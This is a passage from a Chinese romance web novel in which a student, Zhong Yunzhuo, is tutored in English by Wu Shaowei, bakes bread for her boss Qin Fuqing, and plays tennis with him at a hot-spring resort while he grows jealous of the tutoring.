“你搞什么啊,不是来看阿姨的吗?结果自己躲这儿来了。” 吴少维没理他, 手臂一撑坐了起来。 临近年底,集团压力也愈增, 可他没什么事业心,算是“临阵脱逃”跑到老宅讨个清闲。 这话跟张桢一抖落, 他又开始嘲笑他生错了家庭,应该找个小山村重新投胎。 “对工作没兴趣, 就对谈恋爱有兴趣是吧?”张桢话音里带着明显的调侃。 “你胡说什么。” 吴少维避而不谈, 张桢却没打算放过他,“别装了, 我早就看出来了, 你是不是喜欢钟——” 那个名字没说出来, 就立马被吴少维用手堵上了嘴。 他瞪了他一眼:“别在这里乱说!” “我知道我知道。”张桢压低了声音, 坐在他身边, “放心,阿姨听不到的。所以你俩到底咋样了,有没有什么进展?” 吴少维揉了揉眉梢, 过了会儿才回:“能有什么进展,我现在在给她补习英语,人家眼里全是对知识的渴望,没掺半点儿杂念。” 张桢给了他一拳:“你傻啊,她没杂念你可以有啊,补课这多好的机会,还不好好利用起来,木头疙瘩一个。” “我是正人君子,不会干趁人之危的事儿。” “行行,你是君子,祝愿你能在人家结婚之前表白上。” 没想到张桢的一番冷嘲热讽多少还是起了点儿作用。 吴少维从那次回来之后,偶尔把自己闷在屋里,也开始琢磨起要不要制造一些拉近关系的机会了。 这一天夜空朗朗,钟缊酌踏着皎白月光走在大院的青石路上。 她今天回来得晚,本想跟吴少维说先不过去了。没想到他主动劝起她来,“多学一点是一点。” 钟缊酌这段时间确实体会到一种类似于开窍的感觉。 虽然从成绩看不出明显的变化,但她已经很清晰地知道自己的问题在哪里。 钟缊酌从心里很感激吴少维,于是回家之后,把压在抽屉底的小叶紫檀木手串拿了出来。 那是她十五岁时买给父亲的生日礼物。 当时钟缊酌挑选了好久,知道父亲喜欢古董,最后看中了一款古玩手串,几乎花光了她所有的零花钱。 可父亲看了眼却说那都是小年轻戴的,他一个四十多岁的中年人戴着太花哨。 见闺女脸耷拉下来,又哄着说明年再给父亲买一套文房墨宝,此事才算过去。 未曾想一年之后,家里出了变故,那也成为了她给父亲正式过的最后一个生日。 父亲几乎将家里所有的古董都变卖了,唯独给她留下了这条手串。 想到这些,钟缊酌心里又开始不好受。 她用力眨了眨眼睛,平复好心情,背上书包出了门。 十分钟后,吴少维曲着长腿,正言笑晏晏地站在门口迎她。 他还端了一杯布蕾牛乳奶茶,递到钟缊酌手里:“这个给你。” 钟缊酌迟疑两秒,有点儿不好意思地接过来,道了声谢,反问他:“怎么突然要买奶茶呀?我喝水就可以的。” 吴少维摸摸后脖颈,“嗯,想着大冬天要喝点热乎的,但我不知道你喜欢什么口味儿,就都买了一种,你看看不喜欢的话再去桌儿上挑别的。” 钟缊酌这才把视线移向桌面。 看到一整排各种颜色的奶茶袋子,深吸一口气,“我挺喜欢的,我喝这个就行。” 吴少维讲题时一向很专注。 他是一个很好的老师,耐心,细致,每次钟缊酌来请教问题,都觉得时间过得好快。 可今天不知怎么回事,明明还有奶茶提神,她却已经游离在外了好几次。 在这样反复投入游走的状态下,钟缊酌终于察觉到了异常所在。 吴少维的身上似乎喷了香水。 是一种混合了薄荷和香草味道的男士香水。 在这样的香气围绕下,钟缊酌好像没有办法专注到题目中去。 只要轻轻呼吸,那种味道就会铺天盖地般侵入神经。 他为什么要忽然喷香水呢? 是交了女朋友?还是刚参加完某个聚会回来。 钟缊酌强迫自己不要再胡思乱想,收起这颗不争气的好奇心。 终于熬到快十点,这个时候他父亲也要回来了。 钟缊酌放下笔,从书包里掏出小叶紫檀手串,郑重置于双手中:“少维,很感谢你这段时间对我的帮助,这是我家里还没破产时买的,可能对你来说也不值多少钱,但是如果你不嫌弃的话就送给你。” 怕他有心理负担,她把话说得明明白白,是家里破产前买的。 吴少维先是微微一怔,视线在女孩身上停留了片刻。 紧接着,一双桃花眼里露出脉脉柔光。 他扬起唇角,一反常态没有说些拒绝的客套话,伸手接过:“谢谢,这对我来说是很重要的礼物,我会好好保存。” 钟缊酌如释重负地笑笑,将最后一口奶茶喝掉,扔进垃圾桶里,然后开始收拾书包。 “我明天晚上学校有课,再来估计就要等下周。” “行。” 钟缊酌走到门口时,又听到吴少维喊了一声:“缊酌。” “嗯?”她回头去看,乌黑的长发一甩,几缕发丝贴到脸颊上,眉眼间娇俏秀气。 吴少维张了张嘴,那些倾心的话最终仍未宣于口。 他指着她的后背:“你衣服上有碎纸屑,我帮你拿掉。” “好的。” 吴少维长指屈起,将那并不存在的东西轻轻拂去。 “拜拜。” 钟缊酌几乎是蹦跳着跑到电梯旁,按下一楼楼层。 等走出楼宇,呼吸到一股沁人心肺的新鲜空气,大脑才逐渐清醒过来。 不知道是不是她的错觉,吴少维刚刚的表情似乎和平常很不一样。 钟缊酌不确定那代表什么,总之不是一个好的信号。 钟缊酌对这些超出正常朋友间的关怀和情感流露,并非是反应迟钝,只是时常告诫自己,不要太过自作多情。 人和人之间的相处并没有那么简单,有些你眼里的示好,仅仅是因对方对待朋友的方式和界线与自己不同而已。 不过她想,马上十二月中就要开始准备期末考试,这段补课也应该很快结束了- 山林间风光绮丽,通往半山腰的蜿蜒小路上,行驶着一辆低调奢华的黑色轿车。 车内的男人在闭目养神,轮廓分明的五官下透着冷峻。 直到车子行驶至警务亭前,听到一声毫无温度的传令:“您好,先生,麻烦出示进山批条。” 秦拂清终于缓缓睁开眼,下巴冲前方一点:“老季。” 季昌迅速拿出一张带着红字的纸条,警务员扫过一眼后,点点头,示意放行。 “秦总,咱就这么不请自来,万一霍老先生闭门不见怎么办?” “他会见的。”秦拂清摸了摸旁边印有龙纹的檀木盒子,“起码会想看看这件珍惜的望星楼御窑瓷器。” 半山腰的空地上,坐落着一栋中式别墅。 白墙灰瓦,飞檐斗拱,那墙头隐隐绰绰探出几株翠竹来,宛若一幅山水画。 秦拂清站在古铜色大门前,抬手轻轻叩了叩。 不一会儿,身穿白色袄服的女佣打开门,见到来人后,道一声:“秦先生,霍老先生已在客厅等候,请跟我来。” “有劳。” 一行人走在青石板铺成的小路上,穿过假山瀑布,楼台亭阁,来到别墅正厅。 雕刻着云纹的廊柱后面,摆了一张床榻。面容和煦的老者此刻正半卧在床榻上,闻着那袅袅沉香打盹。 女佣将人带到后,便自行离开了。 秦拂清无奈,只得亲自上前,坐在霍严纲对面,轻声唤他:“霍老先生,我来了。” 屋内仍旧一片寂静。 过了约摸五分钟,身后的季昌正要张嘴说些什么,被秦拂清抬手止住。 只见霍严纲眼皮动了动,未睁开,浑浊有力的嗓音却传了出来:“三年了,终于肯来见我了?” 秦拂清淡淡笑了声:“您说哪儿的话,明明是您自己躲到这戒备森严的山里来,还怪晚辈们不肯探望。” 听闻,霍严纲背对着他坐了起来,伸手拿起茶几上的烟斗,放到秦拂清面前晃了晃。 这一动作可谓相当傲慢,对于秦拂清这样的人来说,是极其罕见的。 但他丝毫没有生气,反而顺从地从陶瓷碗里舀了一勺烟草,装入斗钵内,再用勺背压了压。 霍严纲吸了两口之后,才肯抬眼看对面的人,漫不经心地一问:“无事不登三宝殿,说吧,这次来探望我这个老头子,到底什么目的?” 秦拂清双手放在膝盖上,也不打算拐弯抹角了,诚恳回答:“我们近期推出了几项新政策,非常适合瑞丰的理念与发展。您知道,中治曾与多家独角兽企业合作过,效果显著,所以也希望您和令郎可以考虑一下。” “就为这事儿啊。”霍严纲似乎觉得挺不可思议,“这是你负责的项目?” 秦拂清顿了下,轻声回:“不是,我只是帮忙推进。” “那就更奇怪了啊,不是你负责的还能这么上心,竟然甘愿拉下脸来求我。” 霍严纲到底不是什么省油的灯,没那么好应付。 秦拂清不想在这个话题上纠缠,打开旁边的檀木盒子:“这件松石绿粉彩桃纹盖罐,工艺精湛,不知您是否有兴趣。” 霍严纲掀开眼皮打量一圈,不动声色发出疑问:“从哪拍来的?” 秦拂清似笑非笑:“我哪儿有那么多钱拍这种级别的藏品,自然是朋友知我喜好这些,念在情份上送的。” 霍严纲睨着他。 这秦总不像其他一些二代,仗着家里有权有势,张扬跋扈,知道要低调,财不外显。 他没直接表明态度,吐了口烟雾:“秦政庭命好啊,生了个你这么个才智双全的儿子,只可惜,眼睛不大好使。” 秦拂清知道他话里的意思,也不辩解,只笑说:“眼缘这种东西,不好讲的。” 一提及孙女之事,霍严纲立刻沉不住气了,拿烟斗敲了敲桌子:“当初我们琳琳心悦于你,结果你小子倒好,一句没眼缘就消失得无影无踪,不相处试试怎么知道合不合适?难道你还觉得她配不上你?” 秦拂清仍旧声音朗朗,从容不迫:“霍小姐配我自然绰绰有余,只是这世间的优秀女子太多,我总不能见一个爱一个。” 话说到这儿,显然没有再继续探讨的必要。 霍严纲侧过身子,斜卧在丝绸靠枕上,一副懒得搭理人的模样。 只听一声不走心的叹息,秦拂清缓缓盖上盒子,作势就要起身离开。 “等等。”霍严纲又将那檀木盒推到眼前,仔细观察一番,“罐体造型圆润饱满,色彩清新雅致,倒是件值得珍藏的古物。” “算了算了,看在你曾经帮过我的份儿上,勉强留下吧。” 霍严纲叫来佣人,给秦拂清上了杯茶。 “不过我是真的奇怪,你到底为了什么来这儿求我的。帮别人谈合作?你向来不是那种乐善好施的性子。” 秦拂清低头抿了口茶水,沉吟片刻,再看过来时目光里竟透出一丝狡黠:“您还是别知道的好,我怕给您气坏了身子。” “诶?这话怎么说?” 秦拂清没解释,只道一句“霍老先生,您好好休息,我们该走了”。随后和季昌打了个手势,两人一前一后走出了正厅。 霍严纲看到向来沉稳的秦拂清这一刻脚下像踩了风,大步流星迈着步子,意外显出几分活泼来。 再回想起刚刚的那幅表情,忽然有种恍然大悟的感觉。 大概也只有在谈恋爱时,才能让一贯谨言慎行的秦总,稍稍暴露出二十多岁年轻人的模样了。 作者有话说:评论区掉落红包~ 第27章 宋黎若的脚伤终于好得差不多。 一到周末, 便迫不及待拉着钟缊酌去逛街。 去时的路上,宋黎若满心感慨地跟她讲这段时间悟出的人生真谛。 说人活着什么都没有健康重要,她只是暂时“失去”一只脚就已经如此痛苦了,不敢想象如果真的只剩一条腿走路会是什么样。 钟缊酌点头表示赞同:“身体是革命的本钱。所以健康, 保持好心情才是最重要的。” 和几年前相比, 商场里购物的人变得少了很多, 零零散散的一些顾客在闲逛,也没有买东西的意思。 宋黎若想买一件羽绒服,看了几个大牌子,都没有相中的款式。 其实她的家境在圈子里算是挺普通的水平,别家的二代很多都是拿定制, 或者直接和品牌方预订当季的流行款。 不过宋黎若不在意这些,相比品牌, 她更看重外形和舒适度。 “去对面商场看看一些平价的吧,这批货太丑了。” 宋黎若一直在专心挑衣服, 过了许久才发现身边好友的异常。 每路过杂物店,尤其是那些摆有男士用品的店面时, 钟缊酌都会停留下来瞧上几眼。 宋黎若拍她:“看什么呢, 你背着我交男朋友啦?” 钟缊酌被吓一跳,转过身来摸摸鼻子, 不好意思地说:“才没有, 我是因为秦总这段时间帮我挺多的, 想给他送件礼物来着可又总觉得自己买的东西都拿不出手, 他好像也什么都不缺的样子。” 钟缊酌不是没想过从家里带些像样的礼品, 比如珍藏的那几瓶酒。 但碍于两人的关系,就会让人有一种她想要贿赂上级的错觉。 “原来是因为这个啊。”宋黎若抱起双臂,一副看热闹的姿态, “我跟你说,你买再贵的礼物对他这种人来说也没有意义,不如弄个手工制品,真诚又无需纠结价格。” “有道理诶,若若,你提醒到我了。” 钟缊酌一边走路一边琢磨,思量几个来回,最后决定做烤面包。 家里有现成的烤箱,她原来给父母做过,都说好吃呢。 钟缊酌当天就去备了食材。 面粉,白糖,牛奶,酵母,黄油,鸡蛋。 她照着先前的记忆,又去查了些资料,最后共耗费一个半小时,终于完成了第一批菠萝包成品。 软糯醇香,模样十分诱人。 钟缊酌拿起一块尝了尝,不由得佩服起自己来。 味道可是相当不错,她甚至觉得以后有机会可以开个面包店了。 接下来,钟缊酌又做了一些吐司,和菠萝包放在一起,装在精致的包装袋里,看着真挺像那么回事儿的。 时间已经是下午五点。 即便是周末,钟缊酌也不敢贸然去打扰秦拂清。 她拿出手机,翻开通讯录,盯着那一串电话号码。 心想,发个短信应该没事吧? 钟缊酌一个字一个字地开始敲起来:【秦总,不好意思打扰您,我今天做了些烤面包,不知您是否有兴趣尝尝?】 想着如果秦拂清在大院这边,她便可以直接给他送到楼下。 钟缊酌一直等了好久都没动静,焦虑得在客厅里来回踱步。 终于在半个钟头之后,收到了那边的回复。 FU:【我现在在外面吃饭,等晚上回去尝,快到了给你电话。】 所以他意思是会收下了? 钟缊酌心里冒出一丝难以言喻的欣喜感。 刚刚还隐约担心,像他这样高高在上的人物,会瞧不上她做的东西。 待晚饭过后,钟缊酌去卧室做听力练习,一共40道题,她做对了28道,中规中矩的水平。 核对完错题,她又去练习口语,跟着BBC新闻模仿发音,语调和语速。 钟缊酌复习功课太认真,以至于差点儿忘记和秦拂清的约定。 电话铃声突然响起,看到屏幕上的名字,钟缊酌思绪恍惚一瞬,才想起还有正事要做。 她赶紧接起,“喂,秦总。” 秦拂清似乎很疲劳,声音里都透着些哑,却还有精力和她开玩笑:“怎么想起给我送吃的了?平时没见你这么热心过。” 钟缊酌打得算盘其实很简单。 既然他总帮她,那就想着法子还他的人情。 结果听他这么一说,就不知道怎么回答了。 他的口吻很像是对待朋友的那种,类似于你平时有好吃的都不想着我,今天怎么突然想到我了呢? 钟缊酌总不能跟人说,其实我今天也没想着你,只是为了还你人情罢了。 她情商还没低到如此程度。 “我以前做得都不好吃,这次特别成功,就想给您尝尝。” 钟缊酌支支吾吾地,手指不停地扣着手机边儿,总算给圆了过去。 “嗯,我已经到楼下了,你过来吧。” 钟缊酌缓声吐气,“行,我马上出来。” 夜色朦胧,月上柳梢。 大院里处处透着沉寂,昏黄的路灯洒在地上,落下一片温柔。 钟缊酌裹起羊绒大衣,怀里揣着面包袋子,满面春风地穿过楼宇,一眼看到那辆停在暮色中黑色轿车。 因为开了车灯,远远望去,就像一只幽灵匍匐在路边。 钟缊酌走近时,却未见车上有人下来,她正要去敲车窗,副驾驶的门忽然被打开了。 “上来。” 秦拂清的声音从里面传出。 钟缊酌稍愣几秒,冷风拂过脸颊,凉薄的空气顺着呼吸钻入肺中。 她向后拨了拨头发,弯下腰侧身坐进去。 秦拂清已经将大衣脱在了后座上,身上只一件黑色羊毛衫,眉眼间露出几分倦怠,好一副慵懒清贵模样。 钟缊酌调整下呼吸,将手中的袋子递过去:“秦总,这个给你。” “你自己做的?”他再次确认。 “嗯。” “那我得好好尝尝。” 说完,秦拂清便解开袋子,修长手指伸到里面,掏出一块菠萝包来,放在嘴里咬了一口。 直到整个吞咽下去,他才挑起眉梢夸赞:“味道不错。” “晚饭只顾着闲扯,都没吃上几口,正好饿了。” 钟缊酌本以为将东西交给他就可以走的。 看这架势,是打算直接在车上吃了? 钟缊酌欲言又止的,想问她可以回去了吗。话到了嘴边,最后还是没说出口。 她就这样看着他敞着双腿,慢条斯理地吃完了一整个菠萝包。 秦拂清拿湿巾擦了擦手,轻轻瞥了旁边的女孩一眼:“我以后还能吃到吗?” “啊?”他的问题太过意外,钟缊酌来不及思量,脱口而出。 紧接着,她意识到自己不该做出这样的反应,立即改口道:“可以的,您什么时候想吃我就给您做。” 秦拂清轻哼一声。 很无奈,又有些不悦地开口:“非得这么功利化是吧?欠一次还一次的,每笔账都要算得这么清楚啊。” 钟缊酌抿着唇,不知要说些什么。 很明显,他早就看出她是为了还他的人情,才来送的这份礼。不肯直接点透,就是想看看她能不能悟出他的意思。 钟缊酌懊恼地想,她怎么有胆子跟秦拂清勾心斗角的,这不是找死吗? 她低着头,还沉浸在自己的纠结心情时,秦拂清已不动声色地盯了她好一会儿。 车内开了暖风,将这份局促蔓延到每个角落,钟缊酌又穿着一件厚厚的外衣,此刻脸颊已然红得不像话。 秦拂清眼眸微动,似有道不清的情愫藏在眼底。 他伸手去关掉空调,然后侧过身子,语调沉缓地跟她诉说:“与人交往,要互相欠着才能拉近关系,否则也无需再见面了。” 他说了好长一串儿,钟缊酌却满耳都是,拉近关系这四个字。 她承认,她已经完全跟不上他的思路。 钟缊酌就这样沉默着,像是在认真听,可心思早已飞向八千里之外。 末了,像是想到什么,秦拂清又补充一句:“这个道理,你工作以后会明白。” 原来是在教她人情世故。 钟缊酌不知是否真的如他所说,和同事之间要有所亏欠,才有机会走得更近,但她现在必须摆出一副好好学生的姿态。 钟缊酌刚要转过头,准备做出虚心受教的样子,说一声“谢谢您的教导,我会努力成长”。 却不料,一双手毫无预兆地覆在了她的发顶上。 像是长辈那般,轻轻揉了揉她的头发。 秦拂清说:“别这么愁眉苦脸的,又没有凶你的意思。” 钟缊酌的心脏在这个时候,刹那间跳漏了一拍。 没有狂风暴雨般的悸动,也没有夏日阳光那样的热烈,只是像在平静湖面上投了一颗石子,缓缓漾出细小的波纹。 她嘴巴张了又张,最后抿着唇轻语:“我知道,您以后想吃的话,我可以随时做。” 秦拂清被她憨直的模样逗得想笑。 这姑娘真是又谦逊又倔强,她好似什么都能听你的,但心里指不定在想什么叛逆的事,只会反复重复那一句预定好的台词。 天色已晚,秦拂清也不好留她太久。 他拿起那一袋面包,顺势打开车门,“那我以后馋这口了就来呼叫钟小姐?” 钟缊酌应诺一声,“嗯,可以的。” 她脸上出了些薄汗,被风一吹,清凉透骨。 秦拂清递了个眼色过去,脱口而出:“晚上温度低,出来怎么不穿件厚点儿的衣服。” 下一秒,他就意识到自己失言了,这不该是他来说的话。 你在人家那儿什么身份管这些。 秦拂清手握拳抵在下巴咳嗽一声,转言道:“快回家吧,别着凉。” “好的。”钟缊酌和他挥手告别,快速下了车,仰面长舒一口气。 她大口呼吸着新鲜空气,心想,哪里会着凉呀,可比憋在里面舒服太多了。 作者有话说:评论区掉落红包~ 第28章 谈勉升职后不到半个月, 就接到一项对外合作的接头工作。 他们单位做的是能源行业,合作了一家投资集团,项目已经谈好,还需要他这边对接后续合同签订事宜。 本来这次会面是由总经理和他一起, 结果总经理临时有事外出, 正打算和对面改约时间。 谈勉看到对接人的名字, 笑说,不必改时间了,他自己去就成。 于是,中治大楼的十五层会议室里,谈勉穿着一身西装, 单枪匹马,独自坐在项目负责人的对面。 “你们单位对你还真是放心。” 秦拂清看完合同最后一页, 交叠的长腿放下,将那一层厚厚的纸张随手搁在桌案上。 “我们单位只是对秦总放心而已。” 谈勉脸上露出惯常的痞笑, 唯一和平时不同的是,坐姿肉眼可见端正了许多, “秦总若没有其它意见, 是否可以签字了?” “不急,先唠会儿。” 谈勉表面回应得痛快, 心里却是一阵苦涩。 这位号称中治领导层最年轻的副总经理, 不愧是传说中的铁面先生, 熟人一场, 连这点儿薄面都不肯给。 两人就着一些行业新闻, 政策变动闲扯了一阵。说到最后,秦拂清又把话题转到圈子朋友的动态上。 “听说宋小姐脚扭伤了?我这儿有跌打损伤的特效药,若是需要可以给她拿去。”秦拂清漫不经心地提一嘴。 私事聊到这个程度, 谈勉多少有些意外。 他摆手道:“不用麻烦,若若那边已经好得差不多。” 秦拂清意味深长地“嗯”了声,“新官上任三把火,谈总这段时间怕是不能陪宋小姐了。” 他在追宋黎若这件事,秦拂清知晓谈勉并不意外。 秦拂清是心思如何缜密之人,怕是很早就已经看出来。 只是他竟然在这个时候点出,谈勉思虑片刻,唯一能想到的原因,应该是在试探他以后,是打算把重心放在事业上,还是放在恋爱交友上。 谈勉叹口气,语气带着些无可奈何:“确实,不过她现在也不需要我陪,一到周末就约着闺蜜逛街呢。” 秦拂清随意应了句,“总不能每个周末都要去逛街。” “差不多吧,毕竟平时放学见不到钟小姐,只能抓紧周末时间。我想攒个局给她庆祝康复,都给我直接拒了。” 谈勉算是表了个面面俱到的态,意思是没想忽略这段感情,但也不会因为感情影响工作。 秦拂清这时像是来了兴趣,往老板椅上一靠,扯起唇角:“倒是说说,她们平时放学怎么见不到?” “钟小姐平日里晚上都会去吴少维家里补课,没机会聚啊。” 也不知是不是谈勉的错觉。 他这句话一出来,只觉得屋内轻松的气氛突然间变了味儿。 像是从温暖的花室瞬间掉进了雪虐风饕的冰窖,浑身冷飕飕的。 再一抬头,对上那个男人暗沉的目光,才明白这股凉意从何而来。 “秦总您怎么了?” 秦拂清调整下坐姿,及时收起眼里的情绪,很淡地问一句:“去吴少维家里,补什么?” 谈勉:“英语啊,他不是翻译专业么,应该挺擅长的吧。” 对面的男人沉默下来,好一会儿没再说话。 谈勉以为这个话题已经过去了,正要再聊些别的,忽然听到那边又开了口。 似是在自言自语:“吴少维真是学了个好专业啊。” 莫名听出一股子阴阳怪气的劲儿。 谈勉不理解,这有什么好感慨的。 他借机把话头转到正事上,倾身提醒:“秦总,是不是可以说说签字的事了?” 秦拂清这次意外没钓着他,拿出签字笔,在合同授权代表处,刷刷几下就签好了名字。 笔锋潇洒凌厉,犹如龙蛇飞动。 谈勉满意地检查一遍,然后收起所有文件,准备告别。 “秦总,多有打扰,望今后合作愉快。” 秦拂清仍旧靠在椅背上,架着腿垂眸沉思,一尊大佛似地纹丝不动。 谈勉是真看不懂了,刚来时还剑拔弩张地互相试探,怎么过这么一会儿就开始心不在焉了? 谈勉低头喝了口茶水,杯子放下时故意加重了些声音。 秦拂清这时目光幽幽地看过来,神情里多了些不明的意味。 他轻轻启唇,说了一句让谈勉好半天没缓过神的话:“你想约宋小姐去哪里?我帮你攒这个局。”- 钟缊酌是在接完热水回来后,听到宋黎若跟她聊起这周去温泉度假村的事儿。 “本来谈勉约我我是不想去的,但他说这次是秦拂清组的局。” 宋黎若倒不是想巴结他,只是同在一个圈子,父母也都互相认识,多少要给人家点面子。 “缊酌,你跟我一起吧,我查了那家度假村室内是男女分开的,所以不会太尴尬。” “可这周六古玩馆有客人预约,请不了假。”钟缊酌两手捧着保温杯取暖,“是只有你一个女生吗?” “应该不是,谈姝也会去,但我跟那小丫头也没话说啊!”宋黎若有些抓狂。 钟缊酌看她失落的模样,心软了下来,“我试试吧,客人是上午来,看下午能不能请个半天假。” 钟缊酌抱着忐忑地心情给秦拂清发了个信息。 很快,手机响了一下,屏幕上只出现两个字:【可以。】 顺利得让钟缊酌觉得他是不是太忙,都懒得跟她计较这些了。 得知这个消息,宋黎若自然很开心,又继续去敷她的面膜。 当晚回到家,钟缊酌从衣柜里翻出好久没穿过的,一件蓝色小清新连体式泳裙。 带着些碎花边,挺保守的款式。她比划了一下,该遮住的都遮住了。 不过反正不会和男生一起泡,倒也无需太在意这些。 金泊温泉度假村坐落在北六环,背靠国家森林公园,环境幽雅清净,也是企业团队培训和开会的理想圣地。 秦拂清今天要和腾裕的几个老总开会,定的地点就在这家度假村。 上午十点,他从集团开车出来,路过三环一家会所时,停了一脚。 没看到要接的人,秦拂清有些不耐烦地拧了下眉,拨开手机:“是不是还得我亲自上去接您老人家啊。” 话筒里除了散漫的男音,还伴随着一阵不规则的脚步声:“可别瞎给我抬辈分,哪儿敢呐。” 两分钟后,傅沅宗抱着外套出现在侧方视野里。他单手拉开车门,将衣服往后车座一扔。 “走吧,希望没耽误你的约会。” “约会?你从哪儿听说我要去约会。” 秦拂清猛踩了下油门,方向盘一打,“我可是有正经工作要做。” 傅沅宗抱起双臂,嗤笑一声,特不可思议地开始吐槽:“我是真没想到,你会利用工作期间组局约人,这当代时间管理大师是让你玩儿明白了。” 秦拂清不怎么上网冲浪,但也知道这不是什么好词儿。 他递了一个鄙夷的眼神过去,“你以为我想吗?家里盯得紧,我不这么做,回去又要挨审。” 前面赶上了个红灯,车速慢慢降下来。 最近他和那小姑娘之间一些事,傅沅宗看得真真切切,倒也没瞒他的必要了。 “秦老控制欲有这么强吗?我记得以前最多口头问几句你工作情况,怎也不至于如此严格。” “这段时间我刚升迁,他怕我镇不住场,没辙了,只能忍忍。”秦拂清说着就去中控台里摸烟。 傅沅宗及时拍开他的手,“老季跟我吐槽过好几次,说你都快变成烟鬼。别抽了,那些姑娘最讨厌抽烟的男人。” 秦拂清本来不打算理他。 结果这话一出来,伸出去的手霎时停在半空中,无奈般地又收了回去。 “你事业上能有多大压力,还是钟小姐跟别人跑了?” 秦拂清正烦着,听他这么说,戳痛心事似地太阳穴一阵阵疼,“你能不能说点儿人话。” 傅沅宗自然不知自己的嘴就像开了光,一说一中,还在那儿逗闷子,“也是,人家若是看上你,早就行动了,也犯不上让你在这儿绞尽脑汁做时间管理。” 秦拂清唇线抿直。 眼看绿灯亮起,他扶着方向盘,轻敲两下:“我记得伯父下周给你安排了两场相亲,恭喜,我等着领你的婚帖。” “不说了,我撤回这个话题。”傅沅宗闭上眼 临近傍晚,一行人舒舒服服地泡完第一波温泉,正聚在台球馆里打球。 谈勉连连赢了三把,对面的张桢受不了了,指着沙发上坐着的江樾说:“樾哥,你来,我今天手气不行。” “是手气不行还是技术不行啊。”傅沅宗笑吟吟地戳穿他,可谓一点儿情面没给他留。 张桢不服气,撸了把袖子,“要不咱俩旁边单开一局?让你瞧瞧我技术。” 傅沅宗手里还拿着汽水,依旧面不改色,“你先把这瓶干了,我就陪你两把。” “切。”张桢没来得及表态,就远远望见门口有人进来。 秦拂清正迈着沉稳的步子,不声不响地往这边走。 他已经换了一身休闲服,看这架势已经开完了会。 张桢摆正姿态,喊一声:“秦总。” 众人纷纷侧头去看,跟着打招呼。 秦拂清微微颔首,摸了一把球杆:“怎么样,谁的赛点?” 江樾笑说:“没有赛点,勉哥压倒性局势。” “嗯,他的技术我领教过。”秦拂清虽然握着球杆,却没有要打的意思,左右看了看,“那几个丫头呢?” 江樾回复:“她们在隔壁打网球。” “我过去招呼一声,一会儿七点准时开饭,别迟到了。” 秦拂清撇下这句,便将手里的家伙扔给江樾,转身去了隔壁。 “秦总还真是有绅士风度。”江樾感叹一声。 “他也就这个时候有点绅士风度吧。” 傅沅宗意味深长地看了眼那道背影。 另一头。 自打跟谈姝一照面,这姑娘就跟着了魔似的,非缠着宋黎若跟她玩儿。 吃饭要一起,打牌要一起,泡温泉也要一起,宋黎若觉得自己身上就像多了个挂件,也不知谈勉怎么教育妹妹的。 但她不好推辞,别说关系上说不过去,那小姑娘一装可怜,一双大眼睛泪眼汪汪地瞅着你,搁谁受得了。 “你先自己玩会儿,我跟姐姐打一局好不好?” “不嘛,再来最后一局。” 球馆室内温度不算高,钟缊酌扯了件羊绒披肩披在身上。 孤零零地往休息区一坐,恍惚有种变成电灯泡的错觉。 她拖着腮,思索着怎么度过饭前的这段时光。 钟缊酌眼神逐渐涣散,眼前一切好似蒙上一层薄雾。 她开始发起了呆,背后却蓦然传来一道声音:“怎么一个人在这儿坐着,有那么无聊的啊。” 听出来人是谁,钟缊酌慌乱起身,披肩也随之落到地上。 “秦总,不无聊,主要是我们这里人手不够。” 秦拂清静静地看着她。 因受到情绪波动,一张白得发光的脸上透着些粉,圆润的嘴唇微微向上翘着,显出些无辜。 秦拂清神色微敛,短暂凝视片刻。然后缓缓走上前,在她身前弯下腰,将那披肩拎了起来。 “谢谢秦总。” 应该是被他这一举动惊到了,钟缊酌不知所措地道谢,几秒后,才想起伸手接过。 秦拂清目光扫过远处那两道身影,温和提出建议:“既然落了单,不如跟我打两把?” 钟缊酌思绪纷乱,这一刻也想不了太多,只能硬着头皮说可以。 拿上球拍之后,才开始琢磨起来。她要不要让着点他?赢领导球会不会不合适呢? 紧接着,又被自己的脑洞逗得想笑。 人家指不定技术比你好得多呢,还在这儿先让上了。 秦拂清将袖口折到胳膊肘处,露出结实的小臂,颠了颠球,发出第一击。 他看着没怎么使出劲儿,冲过来的力度却很强,钟缊酌不得不全力以赴。 几个来回后,到了第三分,竟然是40:40平局。也就是说,必须由一方再赢两分才算胜利。 钟缊酌是属于爆发力强,但耐力不够的类型,因此到了后面,体力渐渐不支,也就落了下风。 这一局是秦拂清获得了胜利。 “还来不来?”他扬起球问。 钟缊酌不服输的劲头涌起,果断应下:“再来。” 这一次她打得更凶,像只被惹怒的猫咪,动作敏捷,挥腕有力。 秦拂清连连失手,很快输掉了一局。 “去休息会儿吧。”他说。 此刻对面的宋黎若和谈姝已经不见踪影,不知是否跑去了隔壁。 两人在休息区的长椅上并排坐下。 理智逐渐回笼后,钟缊酌摇晃着腿,不好意思道:“秦总,您刚才没让着我吧?” 秦拂清很绅士地递过来一瓶水:“想听实话吗?” “当然。” “实话就是,我肯定没让你。”秦拂清的喉咙随着水流吞咽着。 末了,侧过脸来看她,眉目清朗,“我不擅长打网球,刚刚也是拼劲全力才不至于太丢人。” 不知为何,钟缊酌听完后很想笑。 那是一种很奇特的感觉,像是电流钻入大脑带来一股麻麻的苏爽感。 或许秦拂清说得对,她确实很爱看他出糗,说不清是哪里来的恶趣味。 两人有一句没一句地闲扯着,秦拂清忽然问她:“你最近在补习英语吗?” 钟缊酌点头:“您怎么知道?” “我听谈勉说的。”秦拂清面色淡了些,空瓶子被他握在手里,轻轻一捏就瘪了个洞出来,“他说想约你们出来聚,结果开口就吃个闭门羹。” 钟缊酌不敢乱讲宋黎若怎么想的,她也一直看不懂若若对谈勉的态度,但自己这边确实是有原因的。 “我平时没课的时候要去吴少维那里补英语,然后周六还得去古玩馆实习,确实剩不下多少时间,所以——” 钟缊酌很细致地跟他解释,但她说着说着就发现,秦拂清的表情反而越来越难看了。 作者有话说:评论区掉落红包~ 第29章 钟缊酌不知道, 她在认真讲述自己学习情况时,而秦拂清的脑子里全是些乌七八糟的东西。 比如,讲题时他们会不会靠得很近?她会不会因吴少维的帮助对他产生好感?吴少维有没有借此机会暗中表白? 每一个画面涌入脑海里,都让秦拂清觉得心烦意乱。 连那点儿上位者该有的沉着冷静临危不乱的调性也彻底垮掉了。 他眉头锁着, 面沉如水地问她:“你觉得补课有效果吗?” 钟缊酌不知他此刻的心境变化, 只客观回答:“有的, 以前总爱出错也想不通的题目,现在明显通透了许多。” “怎么个通透法?” “就是——”钟缊酌顿了下,这要怎么解释? 类似任督二脉打通的感觉,总不能这么说吧。 “就是知道这类题目要考察的是什么,能快速抓住重点, 总结出答案。” 她回了个很官方的话术。 